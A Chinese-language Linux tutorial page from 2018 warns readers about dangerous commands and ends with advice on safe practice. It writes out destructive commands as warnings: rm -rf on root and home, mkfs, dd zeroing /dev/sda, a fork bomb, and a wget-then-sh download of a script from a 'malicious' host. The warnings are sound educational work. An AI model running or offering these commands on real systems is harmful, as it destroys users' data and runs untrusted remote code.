访问手机版  

Linux下载|Linux技术问题|Linux培训认证|工资待遇与招聘,详询超级网工!

招聘|合作 登陆|注册

网络工程师培训

当前位置:网络工程师 > 技术课程 > linux > 热点关注 > linux下载

绝对不要使用的Linux命令!不是玩笑!

时间:2018-06-14

Linux系统比起Windows系统来说,被很多人追捧的一个原因是可以给与很大的自由度,但是这样在另一个角度来说可以更容易破坏系统。如果不正确的使用或者是不了解某些命令的意义而使用它们,造成的结果可能是你无法想象的。
下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。
sudo rm -rf / 删除根分区全部的文件
sudo rm -rf . 删除当前目录下的所有文件
sudo rm -rf * 同上
rm -rf * or rm -rf *.* 同上
rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。
如果不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除硬盘分区:
sudo mkfs.xxxx
dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。
sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。
sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。
sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。
直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:
any_command > /dev/sda 用随意的数据破坏硬盘。
fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源::(){:|:&};:
这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:fork while fork
有的时候,压缩包也是一个破坏来源。
从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:
wget [url]http://some_place/some_file[/url]
sh ./some_file
wget [url]http://hax018r.org/malicious-script[/url]
sh ./malicious-script
载脚本要确保来源正规,如果有能力,可以阅读其代码。
为了保护我们的系统,我们要怎么可才可以避免运行恶意的程序呢?第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。第三要保证软件、脚本的来源正规。最后一点,也是十分重要的一点:经常备份你的数据!!